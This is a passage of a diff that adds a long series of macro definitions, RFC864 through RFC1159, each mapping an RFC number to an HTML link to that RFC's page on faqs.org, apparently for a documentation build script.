+                         "RFC864=<a href=\"http://www.faqs.org/rfcs/rfc864.html\">RFC 864</a>" \
+                         "RFC865=<a href=\"http://www.faqs.org/rfcs/rfc865.html\">RFC 865</a>" \
+                         "RFC866=<a href=\"http://www.faqs.org/rfcs/rfc866.html\">RFC 866</a>" \
+                         "RFC867=<a href=\"http://www.faqs.org/rfcs/rfc867.html\">RFC 867</a>" \
+                         "RFC868=<a href=\"http://www.faqs.org/rfcs/rfc868.html\">RFC 868</a>" \
+                         "RFC869=<a href=\"http://www.faqs.org/rfcs/rfc869.html\">RFC 869</a>" \
+                         "RFC870=<a href=\"http://www.faqs.org/rfcs/rfc870.html\">RFC 870</a>" \
+                         "RFC871=<a href=\"http://www.faqs.org/rfcs/rfc871.html\">RFC 871</a>" \
+                         "RFC872=<a href=\"http://www.faqs.org/rfcs/rfc872.html\">RFC 872</a>" \
+                         "RFC873=<a href=\"http://www.faqs.org/rfcs/rfc873.html\">RFC 873</a>" \
+                         "RFC874=<a href=\"http://www.faqs.org/rfcs/rfc874.html\">RFC 874</a>" \
+                         "RFC875=<a href=\"http://www.faqs.org/rfcs/rfc875.html\">RFC 875</a>" \
+                         "RFC876=<a href=\"http://www.faqs.org/rfcs/rfc876.html\">RFC 876</a>" \
+                         "RFC877=<a href=\"http://www.faqs.org/rfcs/rfc877.html\">RFC 877</a>" \
+                         "RFC878=<a href=\"http://www.faqs.org/rfcs/rfc878.html\">RFC 878</a>" \
+                         "RFC879=<a href=\"http://www.faqs.org/rfcs/rfc879.html\">RFC 879</a>" \
+                         "RFC880=<a href=\"http://www.faqs.org/rfcs/rfc880.html\">RFC 880</a>" \
+                         "RFC881=<a href=\"http://www.faqs.org/rfcs/rfc881.html\">RFC 881</a>" \
+                         "RFC882=<a href=\"http://www.faqs.org/rfcs/rfc882.html\">RFC 882</a>" \
+                         "RFC883=<a href=\"http://www.faqs.org/rfcs/rfc883.html\">RFC 883</a>" \
+                         "RFC884=<a href=\"http://www.faqs.org/rfcs/rfc884.html\">RFC 884</a>" \
+                         "RFC885=<a href=\"http://www.faqs.org/rfcs/rfc885.html\">RFC 885</a>" \
+                         "RFC886=<a href=\"http://www.faqs.org/rfcs/rfc886.html\">RFC 886</a>" \
+                         "RFC887=<a href=\"http://www.faqs.org/rfcs/rfc887.html\">RFC 887</a>" \
+                         "RFC888=<a href=\"http://www.faqs.org/rfcs/rfc888.html\">RFC 888</a>" \
+                         "RFC889=<a href=\"http://www.faqs.org/rfcs/rfc889.html\">RFC 889</a>" \
+                         "RFC890=<a href=\"http://www.faqs.org/rfcs/rfc890.html\">RFC 890</a>" \
+                         "RFC891=<a href=\"http://www.faqs.org/rfcs/rfc891.html\">RFC 891</a>" \
+                         "RFC892=<a href=\"http://www.faqs.org/rfcs/rfc892.html\">RFC 892</a>" \
+                         "RFC893=<a href=\"http://www.faqs.org/rfcs/rfc893.html\">RFC 893</a>" \
+                         "RFC894=<a href=\"http://www.faqs.org/rfcs/rfc894.html\">RFC 894</a>" \
+                         "RFC895=<a href=\"http://www.faqs.org/rfcs/rfc895.html\">RFC 895</a>" \
+                         "RFC896=<a href=\"http://www.faqs.org/rfcs/rfc896.html\">RFC 896</a>" \
+                         "RFC897=<a href=\"http://www.faqs.org/rfcs/rfc897.html\">RFC 897</a>" \
+                         "RFC898=<a href=\"http://www.faqs.org/rfcs/rfc898.html\">RFC 898</a>" \
+                         "RFC899=<a href=\"http://www.faqs.org/rfcs/rfc899.html\">RFC 899</a>" \
+                         "RFC900=<a href=\"http://www.faqs.org/rfcs/rfc900.html\">RFC 900</a>" \
+                         "RFC901=<a href=\"http://www.faqs.org/rfcs/rfc901.html\">RFC 901</a>" \
+                         "RFC902=<a href=\"http://www.faqs.org/rfcs/rfc902.html\">RFC 902</a>" \
+                         "RFC903=<a href=\"http://www.faqs.org/rfcs/rfc903.html\">RFC 903</a>" \
+                         "RFC904=<a href=\"http://www.faqs.org/rfcs/rfc904.html\">RFC 904</a>" \
+                         "RFC905=<a href=\"http://www.faqs.org/rfcs/rfc905.html\">RFC 905</a>" \
+                         "RFC906=<a href=\"http://www.faqs.org/rfcs/rfc906.html\">RFC 906</a>" \
+                         "RFC907=<a href=\"http://www.faqs.org/rfcs/rfc907.html\">RFC 907</a>" \
+                         "RFC908=<a href=\"http://www.faqs.org/rfcs/rfc908.html\">RFC 908</a>" \
+                         "RFC909=<a href=\"http://www.faqs.org/rfcs/rfc909.html\">RFC 909</a>" \
+                         "RFC910=<a href=\"http://www.faqs.org/rfcs/rfc910.html\">RFC 910</a>" \
+                         "RFC911=<a href=\"http://www.faqs.org/rfcs/rfc911.html\">RFC 911</a>" \
+                         "RFC912=<a href=\"http://www.faqs.org/rfcs/rfc912.html\">RFC 912</a>" \
+                         "RFC913=<a href=\"http://www.faqs.org/rfcs/rfc913.html\">RFC 913</a>" \
+                         "RFC914=<a href=\"http://www.faqs.org/rfcs/rfc914.html\">RFC 914</a>" \
+                         "RFC915=<a href=\"http://www.faqs.org/rfcs/rfc915.html\">RFC 915</a>" \
+                         "RFC916=<a href=\"http://www.faqs.org/rfcs/rfc916.html\">RFC 916</a>" \
+                         "RFC917=<a href=\"http://www.faqs.org/rfcs/rfc917.html\">RFC 917</a>" \
+                         "RFC918=<a href=\"http://www.faqs.org/rfcs/rfc918.html\">RFC 918</a>" \
+                         "RFC919=<a href=\"http://www.faqs.org/rfcs/rfc919.html\">RFC 919</a>" \
+                         "RFC920=<a href=\"http://www.faqs.org/rfcs/rfc920.html\">RFC 920</a>" \
+                         "RFC921=<a href=\"http://www.faqs.org/rfcs/rfc921.html\">RFC 921</a>" \
+                         "RFC922=<a href=\"http://www.faqs.org/rfcs/rfc922.html\">RFC 922</a>" \
+                         "RFC923=<a href=\"http://www.faqs.org/rfcs/rfc923.html\">RFC 923</a>" \
+                         "RFC924=<a href=\"http://www.faqs.org/rfcs/rfc924.html\">RFC 924</a>" \
+                         "RFC925=<a href=\"http://www.faqs.org/rfcs/rfc925.html\">RFC 925</a>" \
+                         "RFC926=<a href=\"http://www.faqs.org/rfcs/rfc926.html\">RFC 926</a>" \
+                         "RFC927=<a href=\"http://www.faqs.org/rfcs/rfc927.html\">RFC 927</a>" \
+                         "RFC928=<a href=\"http://www.faqs.org/rfcs/rfc928.html\">RFC 928</a>" \
+                         "RFC929=<a href=\"http://www.faqs.org/rfcs/rfc929.html\">RFC 929</a>" \
+                         "RFC930=<a href=\"http://www.faqs.org/rfcs/rfc930.html\">RFC 930</a>" \
+                         "RFC931=<a href=\"http://www.faqs.org/rfcs/rfc931.html\">RFC 931</a>" \
+                         "RFC932=<a href=\"http://www.faqs.org/rfcs/rfc932.html\">RFC 932</a>" \
+                         "RFC933=<a href=\"http://www.faqs.org/rfcs/rfc933.html\">RFC 933</a>" \
+                         "RFC934=<a href=\"http://www.faqs.org/rfcs/rfc934.html\">RFC 934</a>" \
+                         "RFC935=<a href=\"http://www.faqs.org/rfcs/rfc935.html\">RFC 935</a>" \
+                         "RFC936=<a href=\"http://www.faqs.org/rfcs/rfc936.html\">RFC 936</a>" \
+                         "RFC937=<a href=\"http://www.faqs.org/rfcs/rfc937.html\">RFC 937</a>" \
+                         "RFC938=<a href=\"http://www.faqs.org/rfcs/rfc938.html\">RFC 938</a>" \
+                         "RFC939=<a href=\"http://www.faqs.org/rfcs/rfc939.html\">RFC 939</a>" \
+                         "RFC940=<a href=\"http://www.faqs.org/rfcs/rfc940.html\">RFC 940</a>" \
+                         "RFC941=<a href=\"http://www.faqs.org/rfcs/rfc941.html\">RFC 941</a>" \
+                         "RFC942=<a href=\"http://www.faqs.org/rfcs/rfc942.html\">RFC 942</a>" \
+                         "RFC943=<a href=\"http://www.faqs.org/rfcs/rfc943.html\">RFC 943</a>" \
+                         "RFC944=<a href=\"http://www.faqs.org/rfcs/rfc944.html\">RFC 944</a>" \
+                         "RFC945=<a href=\"http://www.faqs.org/rfcs/rfc945.html\">RFC 945</a>" \
+                         "RFC946=<a href=\"http://www.faqs.org/rfcs/rfc946.html\">RFC 946</a>" \
+                         "RFC947=<a href=\"http://www.faqs.org/rfcs/rfc947.html\">RFC 947</a>" \
+                         "RFC948=<a href=\"http://www.faqs.org/rfcs/rfc948.html\">RFC 948</a>" \
+                         "RFC949=<a href=\"http://www.faqs.org/rfcs/rfc949.html\">RFC 949</a>" \
+                         "RFC950=<a href=\"http://www.faqs.org/rfcs/rfc950.html\">RFC 950</a>" \
+                         "RFC951=<a href=\"http://www.faqs.org/rfcs/rfc951.html\">RFC 951</a>" \
+                         "RFC952=<a href=\"http://www.faqs.org/rfcs/rfc952.html\">RFC 952</a>" \
+                         "RFC953=<a href=\"http://www.faqs.org/rfcs/rfc953.html\">RFC 953</a>" \
+                         "RFC954=<a href=\"http://www.faqs.org/rfcs/rfc954.html\">RFC 954</a>" \
+                         "RFC955=<a href=\"http://www.faqs.org/rfcs/rfc955.html\">RFC 955</a>" \
+                         "RFC956=<a href=\"http://www.faqs.org/rfcs/rfc956.html\">RFC 956</a>" \
+                         "RFC957=<a href=\"http://www.faqs.org/rfcs/rfc957.html\">RFC 957</a>" \
+                         "RFC958=<a href=\"http://www.faqs.org/rfcs/rfc958.html\">RFC 958</a>" \
+                         "RFC959=<a href=\"http://www.faqs.org/rfcs/rfc959.html\">RFC 959</a>" \
+                         "RFC960=<a href=\"http://www.faqs.org/rfcs/rfc960.html\">RFC 960</a>" \
+                         "RFC961=<a href=\"http://www.faqs.org/rfcs/rfc961.html\">RFC 961</a>" \
+                         "RFC962=<a href=\"http://www.faqs.org/rfcs/rfc962.html\">RFC 962</a>" \
+                         "RFC963=<a href=\"http://www.faqs.org/rfcs/rfc963.html\">RFC 963</a>" \
+                         "RFC964=<a href=\"http://www.faqs.org/rfcs/rfc964.html\">RFC 964</a>" \
+                         "RFC965=<a href=\"http://www.faqs.org/rfcs/rfc965.html\">RFC 965</a>" \
+                         "RFC966=<a href=\"http://www.faqs.org/rfcs/rfc966.html\">RFC 966</a>" \
+                         "RFC967=<a href=\"http://www.faqs.org/rfcs/rfc967.html\">RFC 967</a>" \
+                         "RFC968=<a href=\"http://www.faqs.org/rfcs/rfc968.html\">RFC 968</a>" \
+                         "RFC969=<a href=\"http://www.faqs.org/rfcs/rfc969.html\">RFC 969</a>" \
+                         "RFC970=<a href=\"http://www.faqs.org/rfcs/rfc970.html\">RFC 970</a>" \
+                         "RFC971=<a href=\"http://www.faqs.org/rfcs/rfc971.html\">RFC 971</a>" \
+                         "RFC972=<a href=\"http://www.faqs.org/rfcs/rfc972.html\">RFC 972</a>" \
+                         "RFC973=<a href=\"http://www.faqs.org/rfcs/rfc973.html\">RFC 973</a>" \
+                         "RFC974=<a href=\"http://www.faqs.org/rfcs/rfc974.html\">RFC 974</a>" \
+                         "RFC975=<a href=\"http://www.faqs.org/rfcs/rfc975.html\">RFC 975</a>" \
+                         "RFC976=<a href=\"http://www.faqs.org/rfcs/rfc976.html\">RFC 976</a>" \
+                         "RFC977=<a href=\"http://www.faqs.org/rfcs/rfc977.html\">RFC 977</a>" \
+                         "RFC978=<a href=\"http://www.faqs.org/rfcs/rfc978.html\">RFC 978</a>" \
+                         "RFC979=<a href=\"http://www.faqs.org/rfcs/rfc979.html\">RFC 979</a>" \
+                         "RFC980=<a href=\"http://www.faqs.org/rfcs/rfc980.html\">RFC 980</a>" \
+                         "RFC981=<a href=\"http://www.faqs.org/rfcs/rfc981.html\">RFC 981</a>" \
+                         "RFC982=<a href=\"http://www.faqs.org/rfcs/rfc982.html\">RFC 982</a>" \
+                         "RFC983=<a href=\"http://www.faqs.org/rfcs/rfc983.html\">RFC 983</a>" \
+                         "RFC984=<a href=\"http://www.faqs.org/rfcs/rfc984.html\">RFC 984</a>" \
+                         "RFC985=<a href=\"http://www.faqs.org/rfcs/rfc985.html\">RFC 985</a>" \
+                         "RFC986=<a href=\"http://www.faqs.org/rfcs/rfc986.html\">RFC 986</a>" \
+                         "RFC987=<a href=\"http://www.faqs.org/rfcs/rfc987.html\">RFC 987</a>" \
+                         "RFC988=<a href=\"http://www.faqs.org/rfcs/rfc988.html\">RFC 988</a>" \
+                         "RFC989=<a href=\"http://www.faqs.org/rfcs/rfc989.html\">RFC 989</a>" \
+                         "RFC990=<a href=\"http://www.faqs.org/rfcs/rfc990.html\">RFC 990</a>" \
+                         "RFC991=<a href=\"http://www.faqs.org/rfcs/rfc991.html\">RFC 991</a>" \
+                         "RFC992=<a href=\"http://www.faqs.org/rfcs/rfc992.html\">RFC 992</a>" \
+                         "RFC993=<a href=\"http://www.faqs.org/rfcs/rfc993.html\">RFC 993</a>" \
+                         "RFC994=<a href=\"http://www.faqs.org/rfcs/rfc994.html\">RFC 994</a>" \
+                         "RFC995=<a href=\"http://www.faqs.org/rfcs/rfc995.html\">RFC 995</a>" \
+                         "RFC996=<a href=\"http://www.faqs.org/rfcs/rfc996.html\">RFC 996</a>" \
+                         "RFC997=<a href=\"http://www.faqs.org/rfcs/rfc997.html\">RFC 997</a>" \
+                         "RFC998=<a href=\"http://www.faqs.org/rfcs/rfc998.html\">RFC 998</a>" \
+                         "RFC999=<a href=\"http://www.faqs.org/rfcs/rfc999.html\">RFC 999</a>" \
+                         "RFC1000=<a href=\"http://www.faqs.org/rfcs/rfc1000.html\">RFC 1000</a>" \
+                         "RFC1001=<a href=\"http://www.faqs.org/rfcs/rfc1001.html\">RFC 1001</a>" \
+                         "RFC1002=<a href=\"http://www.faqs.org/rfcs/rfc1002.html\">RFC 1002</a>" \
+                         "RFC1003=<a href=\"http://www.faqs.org/rfcs/rfc1003.html\">RFC 1003</a>" \
+                         "RFC1004=<a href=\"http://www.faqs.org/rfcs/rfc1004.html\">RFC 1004</a>" \
+                         "RFC1005=<a href=\"http://www.faqs.org/rfcs/rfc1005.html\">RFC 1005</a>" \
+                         "RFC1006=<a href=\"http://www.faqs.org/rfcs/rfc1006.html\">RFC 1006</a>" \
+                         "RFC1007=<a href=\"http://www.faqs.org/rfcs/rfc1007.html\">RFC 1007</a>" \
+                         "RFC1008=<a href=\"http://www.faqs.org/rfcs/rfc1008.html\">RFC 1008</a>" \
+                         "RFC1009=<a href=\"http://www.faqs.org/rfcs/rfc1009.html\">RFC 1009</a>" \
+                         "RFC1010=<a href=\"http://www.faqs.org/rfcs/rfc1010.html\">RFC 1010</a>" \
+                         "RFC1011=<a href=\"http://www.faqs.org/rfcs/rfc1011.html\">RFC 1011</a>" \
+                         "RFC1012=<a href=\"http://www.faqs.org/rfcs/rfc1012.html\">RFC 1012</a>" \
+                         "RFC1013=<a href=\"http://www.faqs.org/rfcs/rfc1013.html\">RFC 1013</a>" \
+                         "RFC1014=<a href=\"http://www.faqs.org/rfcs/rfc1014.html\">RFC 1014</a>" \
+                         "RFC1015=<a href=\"http://www.faqs.org/rfcs/rfc1015.html\">RFC 1015</a>" \
+                         "RFC1016=<a href=\"http://www.faqs.org/rfcs/rfc1016.html\">RFC 1016</a>" \
+                         "RFC1017=<a href=\"http://www.faqs.org/rfcs/rfc1017.html\">RFC 1017</a>" \
+                         "RFC1018=<a href=\"http://www.faqs.org/rfcs/rfc1018.html\">RFC 1018</a>" \
+                         "RFC1019=<a href=\"http://www.faqs.org/rfcs/rfc1019.html\">RFC 1019</a>" \
+                         "RFC1020=<a href=\"http://www.faqs.org/rfcs/rfc1020.html\">RFC 1020</a>" \
+                         "RFC1021=<a href=\"http://www.faqs.org/rfcs/rfc1021.html\">RFC 1021</a>" \
+                         "RFC1022=<a href=\"http://www.faqs.org/rfcs/rfc1022.html\">RFC 1022</a>" \
+                         "RFC1023=<a href=\"http://www.faqs.org/rfcs/rfc1023.html\">RFC 1023</a>" \
+                         "RFC1024=<a href=\"http://www.faqs.org/rfcs/rfc1024.html\">RFC 1024</a>" \
+                         "RFC1025=<a href=\"http://www.faqs.org/rfcs/rfc1025.html\">RFC 1025</a>" \
+                         "RFC1026=<a href=\"http://www.faqs.org/rfcs/rfc1026.html\">RFC 1026</a>" \
+                         "RFC1027=<a href=\"http://www.faqs.org/rfcs/rfc1027.html\">RFC 1027</a>" \
+                         "RFC1028=<a href=\"http://www.faqs.org/rfcs/rfc1028.html\">RFC 1028</a>" \
+                         "RFC1029=<a href=\"http://www.faqs.org/rfcs/rfc1029.html\">RFC 1029</a>" \
+                         "RFC1030=<a href=\"http://www.faqs.org/rfcs/rfc1030.html\">RFC 1030</a>" \
+                         "RFC1031=<a href=\"http://www.faqs.org/rfcs/rfc1031.html\">RFC 1031</a>" \
+                         "RFC1032=<a href=\"http://www.faqs.org/rfcs/rfc1032.html\">RFC 1032</a>" \
+                         "RFC1033=<a href=\"http://www.faqs.org/rfcs/rfc1033.html\">RFC 1033</a>" \
+                         "RFC1034=<a href=\"http://www.faqs.org/rfcs/rfc1034.html\">RFC 1034</a>" \
+                         "RFC1035=<a href=\"http://www.faqs.org/rfcs/rfc1035.html\">RFC 1035</a>" \
+                         "RFC1036=<a href=\"http://www.faqs.org/rfcs/rfc1036.html\">RFC 1036</a>" \
+                         "RFC1037=<a href=\"http://www.faqs.org/rfcs/rfc1037.html\">RFC 1037</a>" \
+                         "RFC1038=<a href=\"http://www.faqs.org/rfcs/rfc1038.html\">RFC 1038</a>" \
+                         "RFC1039=<a href=\"http://www.faqs.org/rfcs/rfc1039.html\">RFC 1039</a>" \
+                         "RFC1040=<a href=\"http://www.faqs.org/rfcs/rfc1040.html\">RFC 1040</a>" \
+                         "RFC1041=<a href=\"http://www.faqs.org/rfcs/rfc1041.html\">RFC 1041</a>" \
+                         "RFC1042=<a href=\"http://www.faqs.org/rfcs/rfc1042.html\">RFC 1042</a>" \
+                         "RFC1043=<a href=\"http://www.faqs.org/rfcs/rfc1043.html\">RFC 1043</a>" \
+                         "RFC1044=<a href=\"http://www.faqs.org/rfcs/rfc1044.html\">RFC 1044</a>" \
+                         "RFC1045=<a href=\"http://www.faqs.org/rfcs/rfc1045.html\">RFC 1045</a>" \
+                         "RFC1046=<a href=\"http://www.faqs.org/rfcs/rfc1046.html\">RFC 1046</a>" \
+                         "RFC1047=<a href=\"http://www.faqs.org/rfcs/rfc1047.html\">RFC 1047</a>" \
+                         "RFC1048=<a href=\"http://www.faqs.org/rfcs/rfc1048.html\">RFC 1048</a>" \
+                         "RFC1049=<a href=\"http://www.faqs.org/rfcs/rfc1049.html\">RFC 1049</a>" \
+                         "RFC1050=<a href=\"http://www.faqs.org/rfcs/rfc1050.html\">RFC 1050</a>" \
+                         "RFC1051=<a href=\"http://www.faqs.org/rfcs/rfc1051.html\">RFC 1051</a>" \
+                         "RFC1052=<a href=\"http://www.faqs.org/rfcs/rfc1052.html\">RFC 1052</a>" \
+                         "RFC1053=<a href=\"http://www.faqs.org/rfcs/rfc1053.html\">RFC 1053</a>" \
+                         "RFC1054=<a href=\"http://www.faqs.org/rfcs/rfc1054.html\">RFC 1054</a>" \
+                         "RFC1055=<a href=\"http://www.faqs.org/rfcs/rfc1055.html\">RFC 1055</a>" \
+                         "RFC1056=<a href=\"http://www.faqs.org/rfcs/rfc1056.html\">RFC 1056</a>" \
+                         "RFC1057=<a href=\"http://www.faqs.org/rfcs/rfc1057.html\">RFC 1057</a>" \
+                         "RFC1058=<a href=\"http://www.faqs.org/rfcs/rfc1058.html\">RFC 1058</a>" \
+                         "RFC1059=<a href=\"http://www.faqs.org/rfcs/rfc1059.html\">RFC 1059</a>" \
+                         "RFC1060=<a href=\"http://www.faqs.org/rfcs/rfc1060.html\">RFC 1060</a>" \
+                         "RFC1061=<a href=\"http://www.faqs.org/rfcs/rfc1061.html\">RFC 1061</a>" \
+                         "RFC1062=<a href=\"http://www.faqs.org/rfcs/rfc1062.html\">RFC 1062</a>" \
+                         "RFC1063=<a href=\"http://www.faqs.org/rfcs/rfc1063.html\">RFC 1063</a>" \
+                         "RFC1064=<a href=\"http://www.faqs.org/rfcs/rfc1064.html\">RFC 1064</a>" \
+                         "RFC1065=<a href=\"http://www.faqs.org/rfcs/rfc1065.html\">RFC 1065</a>" \
+                         "RFC1066=<a href=\"http://www.faqs.org/rfcs/rfc1066.html\">RFC 1066</a>" \
+                         "RFC1067=<a href=\"http://www.faqs.org/rfcs/rfc1067.html\">RFC 1067</a>" \
+                         "RFC1068=<a href=\"http://www.faqs.org/rfcs/rfc1068.html\">RFC 1068</a>" \
+                         "RFC1069=<a href=\"http://www.faqs.org/rfcs/rfc1069.html\">RFC 1069</a>" \
+                         "RFC1070=<a href=\"http://www.faqs.org/rfcs/rfc1070.html\">RFC 1070</a>" \
+                         "RFC1071=<a href=\"http://www.faqs.org/rfcs/rfc1071.html\">RFC 1071</a>" \
+                         "RFC1072=<a href=\"http://www.faqs.org/rfcs/rfc1072.html\">RFC 1072</a>" \
+                         "RFC1073=<a href=\"http://www.faqs.org/rfcs/rfc1073.html\">RFC 1073</a>" \
+                         "RFC1074=<a href=\"http://www.faqs.org/rfcs/rfc1074.html\">RFC 1074</a>" \
+                         "RFC1075=<a href=\"http://www.faqs.org/rfcs/rfc1075.html\">RFC 1075</a>" \
+                         "RFC1076=<a href=\"http://www.faqs.org/rfcs/rfc1076.html\">RFC 1076</a>" \
+                         "RFC1077=<a href=\"http://www.faqs.org/rfcs/rfc1077.html\">RFC 1077</a>" \
+                         "RFC1078=<a href=\"http://www.faqs.org/rfcs/rfc1078.html\">RFC 1078</a>" \
+                         "RFC1079=<a href=\"http://www.faqs.org/rfcs/rfc1079.html\">RFC 1079</a>" \
+                         "RFC1080=<a href=\"http://www.faqs.org/rfcs/rfc1080.html\">RFC 1080</a>" \
+                         "RFC1081=<a href=\"http://www.faqs.org/rfcs/rfc1081.html\">RFC 1081</a>" \
+                         "RFC1082=<a href=\"http://www.faqs.org/rfcs/rfc1082.html\">RFC 1082</a>" \
+                         "RFC1083=<a href=\"http://www.faqs.org/rfcs/rfc1083.html\">RFC 1083</a>" \
+                         "RFC1084=<a href=\"http://www.faqs.org/rfcs/rfc1084.html\">RFC 1084</a>" \
+                         "RFC1085=<a href=\"http://www.faqs.org/rfcs/rfc1085.html\">RFC 1085</a>" \
+                         "RFC1086=<a href=\"http://www.faqs.org/rfcs/rfc1086.html\">RFC 1086</a>" \
+                         "RFC1087=<a href=\"http://www.faqs.org/rfcs/rfc1087.html\">RFC 1087</a>" \
+                         "RFC1088=<a href=\"http://www.faqs.org/rfcs/rfc1088.html\">RFC 1088</a>" \
+                         "RFC1089=<a href=\"http://www.faqs.org/rfcs/rfc1089.html\">RFC 1089</a>" \
+                         "RFC1090=<a href=\"http://www.faqs.org/rfcs/rfc1090.html\">RFC 1090</a>" \
+                         "RFC1091=<a href=\"http://www.faqs.org/rfcs/rfc1091.html\">RFC 1091</a>" \
+                         "RFC1092=<a href=\"http://www.faqs.org/rfcs/rfc1092.html\">RFC 1092</a>" \
+                         "RFC1093=<a href=\"http://www.faqs.org/rfcs/rfc1093.html\">RFC 1093</a>" \
+                         "RFC1094=<a href=\"http://www.faqs.org/rfcs/rfc1094.html\">RFC 1094</a>" \
+                         "RFC1095=<a href=\"http://www.faqs.org/rfcs/rfc1095.html\">RFC 1095</a>" \
+                         "RFC1096=<a href=\"http://www.faqs.org/rfcs/rfc1096.html\">RFC 1096</a>" \
+                         "RFC1097=<a href=\"http://www.faqs.org/rfcs/rfc1097.html\">RFC 1097</a>" \
+                         "RFC1098=<a href=\"http://www.faqs.org/rfcs/rfc1098.html\">RFC 1098</a>" \
+                         "RFC1099=<a href=\"http://www.faqs.org/rfcs/rfc1099.html\">RFC 1099</a>" \
+                         "RFC1100=<a href=\"http://www.faqs.org/rfcs/rfc1100.html\">RFC 1100</a>" \
+                         "RFC1101=<a href=\"http://www.faqs.org/rfcs/rfc1101.html\">RFC 1101</a>" \
+                         "RFC1102=<a href=\"http://www.faqs.org/rfcs/rfc1102.html\">RFC 1102</a>" \
+                         "RFC1103=<a href=\"http://www.faqs.org/rfcs/rfc1103.html\">RFC 1103</a>" \
+                         "RFC1104=<a href=\"http://www.faqs.org/rfcs/rfc1104.html\">RFC 1104</a>" \
+                         "RFC1105=<a href=\"http://www.faqs.org/rfcs/rfc1105.html\">RFC 1105</a>" \
+                         "RFC1106=<a href=\"http://www.faqs.org/rfcs/rfc1106.html\">RFC 1106</a>" \
+                         "RFC1107=<a href=\"http://www.faqs.org/rfcs/rfc1107.html\">RFC 1107</a>" \
+                         "RFC1108=<a href=\"http://www.faqs.org/rfcs/rfc1108.html\">RFC 1108</a>" \
+                         "RFC1109=<a href=\"http://www.faqs.org/rfcs/rfc1109.html\">RFC 1109</a>" \
+                         "RFC1110=<a href=\"http://www.faqs.org/rfcs/rfc1110.html\">RFC 1110</a>" \
+                         "RFC1111=<a href=\"http://www.faqs.org/rfcs/rfc1111.html\">RFC 1111</a>" \
+                         "RFC1112=<a href=\"http://www.faqs.org/rfcs/rfc1112.html\">RFC 1112</a>" \
+                         "RFC1113=<a href=\"http://www.faqs.org/rfcs/rfc1113.html\">RFC 1113</a>" \
+                         "RFC1114=<a href=\"http://www.faqs.org/rfcs/rfc1114.html\">RFC 1114</a>" \
+                         "RFC1115=<a href=\"http://www.faqs.org/rfcs/rfc1115.html\">RFC 1115</a>" \
+                         "RFC1116=<a href=\"http://www.faqs.org/rfcs/rfc1116.html\">RFC 1116</a>" \
+                         "RFC1117=<a href=\"http://www.faqs.org/rfcs/rfc1117.html\">RFC 1117</a>" \
+                         "RFC1118=<a href=\"http://www.faqs.org/rfcs/rfc1118.html\">RFC 1118</a>" \
+                         "RFC1119=<a href=\"http://www.faqs.org/rfcs/rfc1119.html\">RFC 1119</a>" \
+                         "RFC1120=<a href=\"http://www.faqs.org/rfcs/rfc1120.html\">RFC 1120</a>" \
+                         "RFC1121=<a href=\"http://www.faqs.org/rfcs/rfc1121.html\">RFC 1121</a>" \
+                         "RFC1122=<a href=\"http://www.faqs.org/rfcs/rfc1122.html\">RFC 1122</a>" \
+                         "RFC1123=<a href=\"http://www.faqs.org/rfcs/rfc1123.html\">RFC 1123</a>" \
+                         "RFC1124=<a href=\"http://www.faqs.org/rfcs/rfc1124.html\">RFC 1124</a>" \
+                         "RFC1125=<a href=\"http://www.faqs.org/rfcs/rfc1125.html\">RFC 1125</a>" \
+                         "RFC1126=<a href=\"http://www.faqs.org/rfcs/rfc1126.html\">RFC 1126</a>" \
+                         "RFC1127=<a href=\"http://www.faqs.org/rfcs/rfc1127.html\">RFC 1127</a>" \
+                         "RFC1128=<a href=\"http://www.faqs.org/rfcs/rfc1128.html\">RFC 1128</a>" \
+                         "RFC1129=<a href=\"http://www.faqs.org/rfcs/rfc1129.html\">RFC 1129</a>" \
+                         "RFC1130=<a href=\"http://www.faqs.org/rfcs/rfc1130.html\">RFC 1130</a>" \
+                         "RFC1131=<a href=\"http://www.faqs.org/rfcs/rfc1131.html\">RFC 1131</a>" \
+                         "RFC1132=<a href=\"http://www.faqs.org/rfcs/rfc1132.html\">RFC 1132</a>" \
+                         "RFC1133=<a href=\"http://www.faqs.org/rfcs/rfc1133.html\">RFC 1133</a>" \
+                         "RFC1134=<a href=\"http://www.faqs.org/rfcs/rfc1134.html\">RFC 1134</a>" \
+                         "RFC1135=<a href=\"http://www.faqs.org/rfcs/rfc1135.html\">RFC 1135</a>" \
+                         "RFC1136=<a href=\"http://www.faqs.org/rfcs/rfc1136.html\">RFC 1136</a>" \
+                         "RFC1137=<a href=\"http://www.faqs.org/rfcs/rfc1137.html\">RFC 1137</a>" \
+                         "RFC1138=<a href=\"http://www.faqs.org/rfcs/rfc1138.html\">RFC 1138</a>" \
+                         "RFC1139=<a href=\"http://www.faqs.org/rfcs/rfc1139.html\">RFC 1139</a>" \
+                         "RFC1140=<a href=\"http://www.faqs.org/rfcs/rfc1140.html\">RFC 1140</a>" \
+                         "RFC1141=<a href=\"http://www.faqs.org/rfcs/rfc1141.html\">RFC 1141</a>" \
+                         "RFC1142=<a href=\"http://www.faqs.org/rfcs/rfc1142.html\">RFC 1142</a>" \
+                         "RFC1143=<a href=\"http://www.faqs.org/rfcs/rfc1143.html\">RFC 1143</a>" \
+                         "RFC1144=<a href=\"http://www.faqs.org/rfcs/rfc1144.html\">RFC 1144</a>" \
+                         "RFC1145=<a href=\"http://www.faqs.org/rfcs/rfc1145.html\">RFC 1145</a>" \
+                         "RFC1146=<a href=\"http://www.faqs.org/rfcs/rfc1146.html\">RFC 1146</a>" \
+                         "RFC1147=<a href=\"http://www.faqs.org/rfcs/rfc1147.html\">RFC 1147</a>" \
+                         "RFC1148=<a href=\"http://www.faqs.org/rfcs/rfc1148.html\">RFC 1148</a>" \
+                         "RFC1149=<a href=\"http://www.faqs.org/rfcs/rfc1149.html\">RFC 1149</a>" \
+                         "RFC1150=<a href=\"http://www.faqs.org/rfcs/rfc1150.html\">RFC 1150</a>" \
+                         "RFC1151=<a href=\"http://www.faqs.org/rfcs/rfc1151.html\">RFC 1151</a>" \
+                         "RFC1152=<a href=\"http://www.faqs.org/rfcs/rfc1152.html\">RFC 1152</a>" \
+                         "RFC1153=<a href=\"http://www.faqs.org/rfcs/rfc1153.html\">RFC 1153</a>" \
+                         "RFC1154=<a href=\"http://www.faqs.org/rfcs/rfc1154.html\">RFC 1154</a>" \
+                         "RFC1155=<a href=\"http://www.faqs.org/rfcs/rfc1155.html\">RFC 1155</a>" \
+                         "RFC1156=<a href=\"http://www.faqs.org/rfcs/rfc1156.html\">RFC 1156</a>" \
+                         "RFC1157=<a href=\"http://www.faqs.org/rfcs/rfc1157.html\">RFC 1157</a>" \
+                         "RFC1158=<a href=\"http://www.faqs.org/rfcs/rfc1158.html\">RFC 1158</a>" \
+                         "RFC1159=<a href=\"http://www.faqs.org/rfcs/rfc1159.html\">RFC 1159</a>" \
